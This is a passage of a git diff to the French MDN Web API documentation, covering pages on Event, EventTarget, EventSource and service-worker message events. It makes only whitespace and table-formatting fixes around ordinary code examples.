lecture seule isTrusted, de l'interface {{domxref("Event")}}, {{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}} </td> <td>{{ Spec2('DOM WHATWG') }}</td> - <td> </td> + <td></td> </tr> <tr> <td> diff --git a/files/fr/web/api/event/originaltarget/index.md b/files/fr/web/api/event/originaltarget/index.md index 39e7d7b781..adc3636f58 100644 --- a/files/fr/web/api/event/originaltarget/index.md +++ b/files/fr/web/api/event/originaltarget/index.md @@ -16,7 +16,7 @@ La cible d'origine de l'évènement avant tout reciblage. (spécifique à Mozill En présence de contenu anonyme [XBL](/fr/docs/XBL), ce sera le nœud anonyme sur lequel l'événement a été déclenché à l'origine. Voir [Anonymous Content#Event_Flow_and_Targeting](/fr/docs/Mozilla/Tech/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting) pour plus de détails. -**Note :** `originalTarget` peut aussi être un contenu anonyme natif (voir {{Bug("208427")}}), dans ce cas, il est inutile pour le code non privilégié. +**Note :** `originalTarget` peut aussi être un contenu anonyme natif (voir {{Bug("208427")}}), dans ce cas, il est inutile pour le code non privilégié. Voir aussi [Comparaison des cibles d'évènements.](/fr/docs/Web/API/Event/Comparaison_des_cibles_d_%C3%A9v%C3%A8nements) diff --git a/files/fr/web/api/event/stopimmediatepropagation/index.md b/files/fr/web/api/event/stopimmediatepropagation/index.md index 8bd412ca1b..d03babf373 100644 --- a/files/fr/web/api/event/stopimmediatepropagation/index.md +++ b/files/fr/web/api/event/stopimmediatepropagation/index.md @@ -22,7 +22,7 @@ Si plusieurs gestionnaires d'évènement sont attachés à un élément pour le | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}} | {{Spec2('DOM WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/event/stoppropagation/index.md b/files/fr/web/api/event/stoppropagation/index.md index 193691c866..d24ea0cc25 100644 --- a/files/fr/web/api/event/stoppropagation/index.md +++ b/files/fr/web/api/event/stoppropagation/index.md @@ -23,7 +23,7 @@ Voir la section Exemple 5 : [Propagation d'évènements](/fr/docs/Web/API/Docume ## Notes -Voir [DOM specification](http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture) (en) pour une explication du flux d'évènements. (Une illustration est disponible dans le brouillon [DOM Level 3 Event draft](http://www.w3.org/TR/DOM-Level-3-Events/#event-flow) (en)). +Voir [DOM specification](http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture) (en) pour une explication du flux d'évènements. (Une illustration est disponible dans le brouillon [DOM Level 3 Event draft](http://www.w3.org/TR/DOM-Level-3-Events/#event-flow) (en)). [preventDefault](/fr/docs/Web/API/Event/preventDefault) est une méthode complémentaire qui peut être utilisée pour empêcher l'action par défaut de l'évènement. @@ -31,8 +31,8 @@ Voir [DOM specification](http://www.w3.org/TR/DOM-Level-2-Events/events.html#Eve | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}} | {{Spec2("DOM WHATWG")}} | | -| {{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}} | {{Spec2("DOM4")}} | | +| {{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}} | {{Spec2("DOM WHATWG")}} | | +| {{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}} | {{Spec2("DOM4")}} | | | {{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}} | {{Spec2("DOM2 Events")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/event/target/index.md b/files/fr/web/api/event/target/index.md index 3e60e62d4a..57dea7f290 100644 --- a/files/fr/web/api/event/target/index.md +++ b/files/fr/web/api/event/target/index.md @@ -46,8 +46,8 @@ ul.addEventListener('click', hide, false); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | -| {{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}} | {{Spec2("DOM WHATWG")}} | | -| {{SpecName("DOM4", "#dom-event-target", "Event.target")}} | {{Spec2("DOM4")}} | | +| {{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}} | {{Spec2("DOM WHATWG")}} | | +| {{SpecName("DOM4", "#dom-event-target", "Event.target")}} | {{Spec2("DOM4")}} | | | {{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}} | {{Spec2("DOM2 Events")}} | Définition initiale. | ## Compatibilité des navigateurs @@ -56,7 +56,7 @@ ul.addEventListener('click', hide, false); ## Notes concernant la compatibilité -Sur IE6-8, le modèle d'événement est différent. Les écouteurs sont attachés avec la méthode non standard `{{domxref('EventTarget.attachEvent')}}` . Dans ce modèle, l'objet événement a une propriété `{{domxref('Event.srcElement')}}`, à la place de la propriété `target`, avec la même sémantique que `event.target`. +Sur IE6-8, le modèle d'événement est différent. Les écouteurs sont attachés avec la méthode non standard `{{domxref('EventTarget.attachEvent')}}` . Dans ce modèle, l'objet événement a une propriété `{{domxref('Event.srcElement')}}`, à la place de la propriété `target`, avec la même sémantique que `event.target`. ```js function hide(e) { diff --git a/files/fr/web/api/event/timestamp/index.md b/files/fr/web/api/event/timestamp/index.md index fde4ad5b7d..36923099fa 100644 --- a/files/fr/web/api/event/timestamp/index.md +++ b/files/fr/web/api/event/timestamp/index.md @@ -73,8 +73,8 @@ Dans Firefox, vous pouvez aussi activer `privacy.resistFingerprinting`, la préc | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | ------------------------------------ | -------------------- | -| {{SpecName('DOM WHATWG', '#dom-event-timestamp', 'Event.timeStamp')}} | {{ Spec2('DOM WHATWG') }} | | -| {{SpecName('DOM4', '#dom-event-timestamp', 'Event.timeStamp')}} | {{ Spec2('DOM4') }} | | +| {{SpecName('DOM WHATWG', '#dom-event-timestamp', 'Event.timeStamp')}} | {{ Spec2('DOM WHATWG') }} | | +| {{SpecName('DOM4', '#dom-event-timestamp', 'Event.timeStamp')}} | {{ Spec2('DOM4') }} | | | {{SpecName('DOM2 Events', '#Events-Event-timeStamp', 'Event.timeStamp')}} | {{ Spec2('DOM2 Events') }} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/event/type/index.md b/files/fr/web/api/event/type/index.md index 4774093a5b..f61f4cba04 100644 --- a/files/fr/web/api/event/type/index.md +++ b/files/fr/web/api/event/type/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Event/type --- {{APIRef}} -La propriété en lecture seule **Event.type** retourne une chaîne de caractères (_string_) contenant le type de l'événement. Le type est défini lors de la construction de l'événement et est le nom d'usage pour se référer à celui-ci, tel que `click`, `load` ou `error`. +La propriété en lecture seule **Event.type** retourne une chaîne de caractères (_string_) contenant le type de l'événement. Le type est défini lors de la construction de l'événement et est le nom d'usage pour se référer à celui-ci, tel que `click`, `load` ou `error`. L'argument `event` de {{ domxref("EventTarget.addEventListener()") }} et {{ domxref("EventTarget.removeEventListener()") }} n'est pas sensible à la casse. @@ -76,7 +76,7 @@ Pour une liste des types d'événements disponibles, aller voir la page [Référ | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------ | ------------------------------------ | -------------------- | -| {{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}} | {{ Spec2('DOM WHATWG') }} | | +| {{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}} | {{ Spec2('DOM WHATWG') }} | | | {{SpecName('DOM2 Events', '#Events-Event-type', 'Event.type')}} | {{ Spec2('DOM2 Events') }} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/eventsource/close/index.md b/files/fr/web/api/eventsource/close/index.md index 3846e79506..2497126c39 100644 --- a/files/fr/web/api/eventsource/close/index.md +++ b/files/fr/web/api/eventsource/close/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/EventSource/close --- {{APIRef('WebSockets API')}} -La fonction **`close()`** de l'interface {{domxref("EventSource")}} coupe la connection, si existante, et affecte à la variable {{domxref("EventSource.readyState")}} la valeur `2` (closed). +La fonction **`close()`** de l'interface {{domxref("EventSource")}} coupe la connection, si existante, et affecte à la variable {{domxref("EventSource.readyState")}} la valeur `2` (closed). > **Note :** Si la connexion est déjà fermé, la fonction n'agit pas. @@ -37,12 +37,12 @@ var bouton = document.querySelector('button'); var evtSource = new EventSource('sse.php'); bouton.onclick = function() { - console.log('Connection fermée'); - evtSource.close(); + console.log('Connection fermée'); + evtSource.close(); } ``` -> **Note :** Vous pouvez trouver un exemple complet sur GitHub — voir [Demo simple de SSE utilisant PHP.](https://github.com/mdn/dom-examples/tree/master/server-sent-events) +> **Note :** Vous pouvez trouver un exemple complet sur GitHub — voir [Demo simple de SSE utilisant PHP.](https://github.com/mdn/dom-examples/tree/master/server-sent-events) ## Spécifications diff --git a/files/fr/web/api/eventsource/open_event/index.md b/files/fr/web/api/eventsource/open_event/index.md index 44b9be5821..2a5513cd31 100644 --- a/files/fr/web/api/eventsource/open_event/index.md +++ b/files/fr/web/api/eventsource/open_event/index.md @@ -12,7 +12,7 @@ original_slug: Web/API/EventSource/onopen --- {{APIRef('Server Sent Events')}} -La propriété **`onopen`** de l'interface {{domxref("EventSource")}} est un {{event("Event_handlers", "event handler")}} qui est appelé lorsqu'un est évènement {{event("open")}} est reçu, indiquant que la connexion vient d'être établie. +La propriété **`onopen`** de l'interface {{domxref("EventSource")}} est un {{event("Event_handlers", "event handler")}} qui est appelé lorsqu'un est évènement {{event("open")}} est reçu, indiquant que la connexion vient d'être établie. ## Syntaxe @@ -22,11 +22,11 @@ La propriété **`onopen`** de l'interface {{domxref("EventSource")}} est un { ```js evtSource.onopen = function() { - console.log("Connexion au serveur établie."); + console.log("Connexion au serveur établie."); }; ``` -> **Note :** Vous pouvez trouver un exemple complet sur GitHub — voir [Simple SSE demo using PHP.](https://github.com/mdn/dom-examples/tree/master/server-sent-events) +> **Note :** Vous pouvez trouver un exemple complet sur GitHub — voir [Simple SSE demo using PHP.](https://github.com/mdn/dom-examples/tree/master/server-sent-events) ## Spécifications diff --git a/files/fr/web/api/eventtarget/addeventlistener/index.md b/files/fr/web/api/eventtarget/addeventlistener/index.md index db55b600bd..df37cc7b12 100644 --- a/files/fr/web/api/eventtarget/addeventlistener/index.md +++ b/files/fr/web/api/eventtarget/addeventlistener/index.md @@ -16,7 +16,7 @@ Les cibles courantes sont un {{domxref("Element")}}, le {{domxref("Document")}} ```js target.addEventListener(type, listener [, options]); target.addEventListener(type, listener [, useCapture]); -target.addEventListener(type, listener [, useCapture, wantsUntrusted {{Non-standard_inline}}]); // Gecko/Mozilla uniquement +target.addEventListener(type, listener [, useCapture, wantsUntrusted {{Non-standard_inline}}]); // Gecko/Mozilla uniquement ``` ### Paramètres @@ -385,7 +385,7 @@ Dans l'exemple ci-dessus, nous modifions le code de l'exemple {{anch('Add_a_simp ### Pourquoi utiliser addEventListener() ? -`addEventListener` est la manière d'enregistrer un écouteur d'évènements telle que spécifiée dans le DOM du W3C. Ses avantages sont les suivants : +`addEventListener` est la manière d'enregistrer un écouteur d'évènements telle que spécifiée dans le DOM du W3C. Ses avantages sont les suivants : - Elle permet d'ajouter plus d'un seul gestionnaire pour un évènement. Cela peut s'avérer particulièrement utile pour les bibliothèques {{Glossary("AJAX")}}, les modules JavaScript ou tout autre sorte de code qui a besoin de fonctionner correctement avec d'autres bibliothèques/extensions. - Elle donne un contrôle plus fin sur la phase d'activation de l'écouteur (capture contre propagation) @@ -757,7 +757,7 @@ for (let i=0, j=0 ; i<els.length ; i++) { // Cas 4 for (let i=0, j=0 ; i<els.length ; i++) { - /* faire des tas de choses avec j */ + /* faire des tas de choses avec j */ function processEvent(e) {/*faire quelque chose*/}; els[j].addEventListener("click", processEvent, false); } diff --git a/files/fr/web/api/eventtarget/dispatchevent/index.md b/files/fr/web/api/eventtarget/dispatchevent/index.md index 854d476721..d6de9e575a 100644 --- a/files/fr/web/api/eventtarget/dispatchevent/index.md +++ b/files/fr/web/api/eventtarget/dispatchevent/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/EventTarget/dispatchEvent --- {{APIRef("DOM Events")}} -Envoie un {{domxref("Event")}} (_évènement_) à la {{domxref("EventTarget")}} (_cible_) spécifiée (synchrone) en appelant les {{domxref("EventListener")}} (_écouteurs_) dans l'ordre approprié. Le processus normal de traitement de l'évènement (y compris les phases de capture et l'éventuelle propagation) s'applique aussi aux évènements diffusés manuellement avec `dispatchEvent()`. +Envoie un {{domxref("Event")}} (_évènement_) à la {{domxref("EventTarget")}} (_cible_) spécifiée (synchrone) en appelant les {{domxref("EventListener")}} (_écouteurs_) dans l'ordre approprié. Le processus normal de traitement de l'évènement (y compris les phases de capture et l'éventuelle propagation) s'applique aussi aux évènements diffusés manuellement avec `dispatchEvent()`. ## Syntaxe @@ -24,7 +24,7 @@ Envoie un {{domxref("Event")}} (_évènement_) à la {{domxref("EventTarget")}} ### Valeur retournée -- La valeur de retour est `false` (_faux_) si l'évènement est annulable et au moins l'un des gestionnaires d'événements qui ont géré cet événement appelé {{domxref ("Event.preventDefault ()")}}. Sinon, elle est `true` (_vrai_). +- La valeur de retour est `false` (_faux_) si l'évènement est annulable et au moins l'un des gestionnaires d'événements qui ont géré cet événement appelé {{domxref ("Event.preventDefault ()")}}. Sinon, elle est `true` (_vrai_). La méthode `dispatchEvent` lance une exception `UNSPECIFIED_EVENT_TYPE_ERR` si le type de l'évènement n'a pas été spécifié par son initialisation avant l'appel de la méthode ou s'il est `null` ou une chaîne vide. Les exceptions lancées par les gestionnaires d'évènements sont signalées comme exceptions non interceptées ; les gestionnaires d'événements s'exécutent sur une pile d'appels imbriquée : ils bloquent l'appelant jusqu'à ce qu'ils se terminent, mais les exceptions ne se propagent pas à l'appelant. diff --git a/files/fr/web/api/eventtarget/eventtarget/index.md b/files/fr/web/api/eventtarget/eventtarget/index.md index dee098e931..516ec923fa 100644 --- a/files/fr/web/api/eventtarget/eventtarget/index.md +++ b/files/fr/web/api/eventtarget/eventtarget/index.md @@ -30,7 +30,7 @@ Une instance d'objet {{domxref("EventTarget")}}. ```js class MyEventTarget extends EventTarget { constructor(mySecret) { - super(); + super(); this._secret = mySecret; } @@ -52,7 +52,7 @@ let newValue = myEventTarget.secret; // == 7 | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}} | {{Spec2('DOM WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/eventtarget/removeeventlistener/index.md b/files/fr/web/api/eventtarget/removeeventlistener/index.md index 91761ef749..f601827c5b 100644 --- a/files/fr/web/api/eventtarget/removeeventlistener/index.md +++ b/files/fr/web/api/eventtarget/removeeventlistener/index.md @@ -24,9 +24,9 @@ La méthode **`EventTarget.removeEventListener()`** supprime d'une {{domxref("Ev ### Paramètres - `type` - - : Une chaîne représentant le type d'événement pour lequel supprimer un écouteur d'évènements. + - : Une chaîne représentant le type d'événement pour lequel supprimer un écouteur d'évènements. - `listener` - - : La fonction {{domxref("EventListener")}} du gestionnaire d'évènements à retirer de la cible d'évènements. + - : La fonction {{domxref("EventListener")}} du gestionnaire d'évènements à retirer de la cible d'évènements. - `options` {{optional_inline}} - : Un objet d'options qui spécifie les caractéristiques de l'écouteur d'évènements. Les options disponibles sont : diff --git a/files/fr/web/api/extendableevent/extendableevent/index.md b/files/fr/web/api/extendableevent/extendableevent/index.md index cc87f30a32..33e1b13345 100644 --- a/files/fr/web/api/extendableevent/extendableevent/index.md +++ b/files/fr/web/api/extendableevent/extendableevent/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/ExtendableEvent/ExtendableEvent --- {{APIRef("Service Workers API")}}{{ SeeCompatTable() }} -Le contructeur **`ExtendableEvent()`** crée un nouvel objet {{domxref("ExtendableEvent")}}. +Le contructeur **`ExtendableEvent()`** crée un nouvel objet {{domxref("ExtendableEvent")}}. ## Syntaxe @@ -23,7 +23,7 @@ var myExtendableEvent = new ExtendableEvent(type, init); ### Paramètres - _type_ - - : Le type de l'ExtendableEvent, par exemple {{Event("install")}}, {{Event("activate")}}. + - : Le type de l'ExtendableEvent, par exemple {{Event("install")}}, {{Event("activate")}}. - _init_ {{optional_inline}} - : Un objet d'options contenant n'importe quelle configuration personnalisée que vous voulez appeler à un objet d'évènement. Pour le moment, il n'existe pas d'option dans la spécification, mais il a été défini pour une compatibilité future pour les différents évènements dérivés. @@ -41,6 +41,6 @@ var myExtendableEvent = new ExtendableEvent(type, init); - [Utilisation des Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) - [Exemple simple de service workers](https://github.com/mdn/sw-test) -- [Les ServiceWorker sont-ils prêts?](https://jakearchibald.github.io/isserviceworkerready/) +- [Les ServiceWorker sont-ils prêts?](https://jakearchibald.github.io/isserviceworkerready/) - {{jsxref("Promise")}} - [Utilisation performante des web workers](/en-US/docs/Web/Guide/Performance/Using_web_workers) diff --git a/files/fr/web/api/extendablemessageevent/data/index.md b/files/fr/web/api/extendablemessageevent/data/index.md index ca1b492b22..d4f8dccd40 100644 --- a/files/fr/web/api/extendablemessageevent/data/index.md +++ b/files/fr/web/api/extendablemessageevent/data/index.md @@ -23,7 +23,7 @@ N'importe quel type de donnée. ## Exemples -Quand le code suivant est utilisé dans un service worker pour répondre à un message _push_ en envoyant les données reçues par {{domxref("PushMessageData")}} au contexte principal via un [message](/fr/docs/Web/API/Channel_Messaging_API), l'objet de l'évènement `onmessage` sera un `ExtendableMessageEvent`. +Quand le code suivant est utilisé dans un service worker pour répondre à un message _push_ en envoyant les données reçues par {{domxref("PushMessageData")}} au contexte principal via un [message](/fr/docs/Web/API/Channel_Messaging_API), l'objet de l'évènement `onmessage` sera un `ExtendableMessageEvent`. ```js var port; diff --git a/files/fr/web/api/extendablemessageevent/extendablemessageevent/index.md b/files/fr/web/api/extendablemessageevent/extendablemessageevent/index.md index 10ca279abb..ebfa830398 100644 --- a/files/fr/web/api/extendablemessageevent/extendablemessageevent/index.md +++ b/files/fr/web/api/extendablemessageevent/extendablemessageevent/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/ExtendableMessageEvent/ExtendableMessageEvent --- {{APIRef("Service Workers API")}}{{ SeeCompatTable() }} -Le constructeur **`Extendable.MessageEvent()`** crée une nouvelle instance d'un {{domxref("ExtendableMessageEvent")}}. +Le constructeur **`Extendable.MessageEvent()`** crée une nouvelle instance d'un {{domxref("ExtendableMessageEvent")}}. ## Syntaxe @@ -25,11 +25,11 @@ Le constructeur **`Extendable.MessageEvent()`** crée une nouvelle instance d'u - : Un objet d'initialisation, qui doit contenir les paramètres suivant: - - `data`: Les données de l'évènement — peut être de n'importe quel type. + - `data`: Les données de l'évènement — peut être de n'importe quel type. - `origin`: Une {{domxref("DOMString")}} qui définie l'origine de l'environnement du service worker correspondant. - `lastEventId`: Une {{domxref("DOMString")}} qui définie le dernier l'id du dernier évènement de l'évènement source. - - `source`: Le {{domxref("Client")}}, {{domxref("ServiceWorker")}} ou {{domxref("MessagePort")}} qui a envoyé un message. - - `ports`: Un tableau contenant les objets {{domxref("MessagePort")}} connectés au canal d'envoie des messages. + - `source`: Le {{domxref("Client")}}, {{domxref("ServiceWorker")}} ou {{domxref("MessagePort")}} qui a envoyé un message. + - `ports`: Un tableau contenant les objets {{domxref("MessagePort")}} connectés au canal d'envoie des messages. ## Exemples @@ -55,7 +55,7 @@ var myEME = new ExtendableMessageEvent('message', init); ## Voir aussi -- [Utiliser les Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) +- [Utiliser les Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) - [Exemple simple de service workers](https://github.com/mdn/sw-test) -- [Les Services Workers sont-ils prêts ?](https://jakearchibald.github.io/isserviceworkerready/) +- [Les Services Workers sont-ils prêts ?](https://jakearchibald.github.io/isserviceworkerready/) - [Canal de messages](/en-US/docs/Web/API/Channel_Messaging_API) diff --git a/files/fr/web/api/extendablemessageevent/index.md b/files/fr/web/api/extendablemessageevent/index.md index 5cdfead701..1e0bf78fc3 100644 --- a/files/fr/web/api/extendablemessageevent/index.md +++ b/files/fr/web/api/extendablemessageevent/index.md @@ -12,14 +12,14 @@ translation_of: Web/API/ExtendableMessageEvent --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -L'interface **`ExtendableMessageEvent`** de {{domxref("ServiceWorker_API", "ServiceWorker API")}} représentes un objet d'évenement qu'un évènement {{event("message_(ServiceWorker)","message")}} lance pour un service worker (quand un canal de message est reçu sur le {{domxref("ServiceWorkerGlobalScope")}} depuis un autre context) — étends la durée de vie de ces évènements. +L'interface **`ExtendableMessageEvent`** de {{domxref("ServiceWorker_API", "ServiceWorker API")}} représentes un objet d'évenement qu'un évènement {{event("message_(ServiceWorker)","message")}} lance pour un service worker (quand un canal de message est reçu sur le {{domxref("ServiceWorkerGlobalScope")}} depuis un autre context) — étends la durée de vie de ces évènements. Cette interface hérite de l'interface {{domxref("ExtendableEvent")}}. ## Constructeur - {{domxref("ExtendableMessageEvent.ExtendableMessageEvent()")}} - - : Crée une nouvelle instance de l'objet `ExtendableMessageEvent`. + - : Crée une nouvelle instance de l'objet `ExtendableMessageEvent`. ## Propriétés @@ -30,19 +30,19 @@ _Hérite des propriétés de son parent,_ _{{domxref("ExtendableEvent")}}_. - {{domxref("ExtendableMessageEvent.origin")}} {{readonlyinline}} - : Retourne l'origine du {{domxref("ServiceWorkerClient")}} qui envoie le message. - {{domxref("ExtendableMessageEvent.lastEventId")}} {{readonlyinline}} - - : Représente, dans un [server-sent events](en-US/docs/Server-sent_events/Using_server-sent_events), le dernier ID de l'évenement source. + - : Représente, dans un [server-sent events](en-US/docs/Server-sent_events/Using_server-sent_events), le dernier ID de l'évenement source. - {{domxref("ExtendableMessageEvent.source")}} {{readonlyinline}} - : Retourne une référence vers le service worker qui envoie le message. - {{domxref("ExtendableMessageEvent.ports")}} {{readonlyinline}} - - : Retourne un tableau contenant l'objet {{domxref("MessagePort")}} représentant les ports associés au canal de messagerie. + - : Retourne un tableau contenant l'objet {{domxref("MessagePort")}} représentant les ports associés au canal de messagerie. ## Méthodes -_Hérite des méthodesde son parent, {{domxref("ExtendableEvent")}}_. +_Hérite des méthodesde son parent, {{domxref("ExtendableEvent")}}_. ## Exemples -Le code suivant est utilisé dans un service worker pour répondre à un message push en envoyant les données reçues via {{domxref("PushMessageData")}} au contexte principale via un [channel message](/en-US/docs/Web/API/Channel_Messaging_API), l'objet d'évènement du `onmessage` sera un `ExtendableMessageEvent`. +Le code suivant est utilisé dans un service worker pour répondre à un message push en envoyant les données reçues via {{domxref("PushMessageData")}} au contexte principale via un [channel message](/en-US/docs/Web/API/Channel_Messaging_API), l'objet d'évènement du `onmessage` sera un `ExtendableMessageEvent`. ```js var port; diff --git a/files/fr/web/api/extendablemessageevent/lasteventid/index.md b/files/fr/web/api/extendablemessageevent/lasteventid/index.md index cd1fc93d7f..ca6cee649d 100644 --- a/files/fr/web/api/extendablemessageevent/lasteventid/index.md +++ b/files/fr/web/api/extendablemessageevent/lasteventid/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/ExtendableMessageEvent/lastEventId --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La propriété en lecture seule **`lastEventID`** de l'interface {{domxref("ExtendableMessageEvent")}} représente, dans [les évenements envoyés par lle serveur](/en-US/docs/Web/API/en-US/docs/Server-sent_events/Using_server-sent_events), le dernier ID de l'évenement source. +La propriété en lecture seule **`lastEventID`** de l'interface {{domxref("ExtendableMessageEvent")}} représente, dans [les évenements envoyés par lle serveur](/en-US/docs/Web/API/en-US/docs/Server-sent_events/Using_server-sent_events), le dernier ID de l'évenement source. ## Syntaxe @@ -25,7 +25,7 @@ Une {{domxref("DOMString")}}. ## Exemples -Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le {{domxref("PushMessageData")}} au contexte principale, via le [canal de messages](/en-US/docs/Web/API/Channel_Messaging_API). L'objet événement de `onmessage` sera un `ExtendableMessageEvent.` +Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le {{domxref("PushMessageData")}} au contexte principale, via le [canal de messages](/en-US/docs/Web/API/Channel_Messaging_API). L'objet événement de `onmessage` sera un `ExtendableMessageEvent.` ```js var port; @@ -59,6 +59,6 @@ self.onmessage = function(e) { ## Voir aussi - [Utilisation des Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) -- [Exemple simple des service workers](https://github.com/mdn/sw-test) -- [Est-ce que les service workers sont prêts ?](https://jakearchibald.github.io/isserviceworkerready/) +- [Exemple simple des service workers](https://github.com/mdn/sw-test) +- [Est-ce que les service workers sont prêts ?](https://jakearchibald.github.io/isserviceworkerready/) - [Canal de messages](/en-US/docs/Web/API/Channel_Messaging_API) diff --git a/files/fr/web/api/extendablemessageevent/origin/index.md b/files/fr/web/api/extendablemessageevent/origin/index.md index 6179c94fa4..f10a85f86b 100644 --- a/files/fr/web/api/extendablemessageevent/origin/index.md +++ b/files/fr/web/api/extendablemessageevent/origin/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/ExtendableMessageEvent/origin --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La propriété en lecture seule **origin** de l'interface {{domxref("ExtendableMessageEvent")}} retourne l'origine du {{domxref("ServiceWorkerClient")}} qui a envoyé le message. +La propriété en lecture seule **origin** de l'interface {{domxref("ExtendableMessageEvent")}} retourne l'origine du {{domxref("ServiceWorkerClient")}} qui a envoyé le message. ## Syntaxe @@ -25,7 +25,7 @@ Une {{domxref("DOMString")}}. ## Exemples -Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le [`PushMessageData`](/fr/docs/Web/API/PushMessageData) au contexte principale, via le [canal de messages](/en-US/docs/Web/API/Channel_Messaging_API). L'objet événement de `onmessage` sera un `ExtendableMessageEvent.` +Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le [`PushMessageData`](/fr/docs/Web/API/PushMessageData) au contexte principale, via le [canal de messages](/en-US/docs/Web/API/Channel_Messaging_API). L'objet événement de `onmessage` sera un `ExtendableMessageEvent.` ```js var port; @@ -59,6 +59,6 @@ self.onmessage = function(e) { ## Voir aussi - [Utilisation des Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) -- [Exemple simple des service workers](https://github.com/mdn/sw-test) -- [Est-ce que les service workers sont prêts ?](https://jakearchibald.github.io/isserviceworkerready/) +- [Exemple simple des service workers](https://github.com/mdn/sw-test) +- [Est-ce que les service workers sont prêts ?](https://jakearchibald.github.io/isserviceworkerready/) - [Canal de messages](/en-US/docs/Web/API/Channel_Messaging_API) diff --git a/files/fr/web/api/extendablemessageevent/ports/index.md b/files/fr/web/api/extendablemessageevent/ports/index.md index 994d3daaeb..904c036207 100644 --- a/files/fr/web/api/extendablemessageevent/ports/index.md +++ b/files/fr/web/api/extendablemessageevent/ports/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/ExtendableMessageEvent/ports --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La propriété en lecture seule **ports** de l'interface {{domxref("ExtendableMessageEvent")}} retourne un tableau contenant les objects {{domxref("MessagePort")}} représentants les ports associés aux canaux de messages associés (le canal du message est envoyé). +La propriété en lecture seule **ports** de l'interface {{domxref("ExtendableMessageEvent")}} retourne un tableau contenant les objects {{domxref("MessagePort")}} représentants les ports associés aux canaux de messages associés (le canal du message est envoyé). ## Syntaxe @@ -21,11 +21,11 @@ La propriété en lecture seule **ports** de l'interface {{domxref("Extendable ### Value -Un tableau de {{domxref("MessagePort")}}. +Un tableau de {{domxref("MessagePort")}}. ## Exemples -Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le [`PushMessageData`](/fr/docs/Web/API/PushMessageData) au contexte principale, via le [canal de messages](/en-US/docs/Web/API/Channel_Messaging_API). L'objet événement de `onmessage` sera un `ExtendableMessageEvent.` +Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le [`PushMessageData`](/fr/docs/Web/API/PushMessageData) au contexte principale, via le [canal de messages](/en-US/docs/Web/API/Channel_Messaging_API). L'objet événement de `onmessage` sera un `ExtendableMessageEvent.` ```js var port; @@ -58,6 +58,6 @@ self.onmessage = function(e) { ## Voir aussi - [Utilisation des Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) -- [Exemple simple des service workers](https://github.com/mdn/sw-test) -- [Est-ce que les service workers sont prêts ?](https://jakearchibald.github.io/isserviceworkerready/) +- [Exemple simple des service workers](https://github.com/mdn/sw-test) +- [Est-ce que les service workers sont prêts ?](https://jakearchibald.github.io/isserviceworkerready/) - [Canal de messages](/en-US/docs/Web/API/Channel_Messaging_API) diff --git a/files/fr/web/api/featurepolicy/allowedfeatures/index.md b/files/fr/web/api/featurepolicy/allowedfeatures/index.md index 97a6ea6866..26371b8120 100644 --- a/files/fr/web/api/featurepolicy/allowedfeatures/index.md +++ b/files/fr/web/api/featurepolicy/allowedfeatures/index.md @@ -11,7 